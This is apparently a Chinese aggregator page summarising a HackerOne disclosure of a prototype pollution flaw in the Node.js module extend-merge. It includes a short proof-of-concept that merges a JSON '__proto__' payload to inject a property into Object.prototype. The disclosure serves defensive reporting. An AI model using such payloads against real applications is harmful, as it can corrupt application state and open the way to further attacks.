POJIA破甲
地图 / [extend-merge] Prototype pollution

[extend-merge] Prototype pollution

业务逻辑 / Modification of Assumed-Immutable Data (MAID) / #878339

厂商
Node.js third-party modules
严重程度
中危
赏金
—
弱点
Modification of Assumed-Immutable Data (MAID)
研究员
@d3lla
披露日期
2020-09-06
资产
Other module
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(1509 字符中的一小部分)
I would like to report a `prototype pollution` vulnerability in `extend-merge` module. It allows an attacker to inject properties on Object.prototype.
原文中的代码

const extend_merge = require('extend-merge');
const payload =  JSON.parse('{"__proto__":{"polluted":"yes"}}');
let obj = {};
console.log("Before : " + obj.polluted);
extend_merge.merge({}, payload);
console.log("After : " + obj.polluted);

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @d3lla · 版权归作者与 Node.js third-party modules 所有

同类报告

Changing the 2FA secret key and backup codes without knowing the 2FA OTPHackerOne · 2021-05-06property-expr - Prototype pollutionNode.js third-party modules · 2020-09-24Editing Pentest Summary Report Answers After Submitting ThemHackerOne · 2021-05-06Prototype pollution via console.table propertiesNode.js · 2022-01-11Changes to data in a CVE request after draft via GraphQL queryHackerOne · 2020-05-15[nested-property] Prototype PollutionNode.js third-party modules · 2020-10-27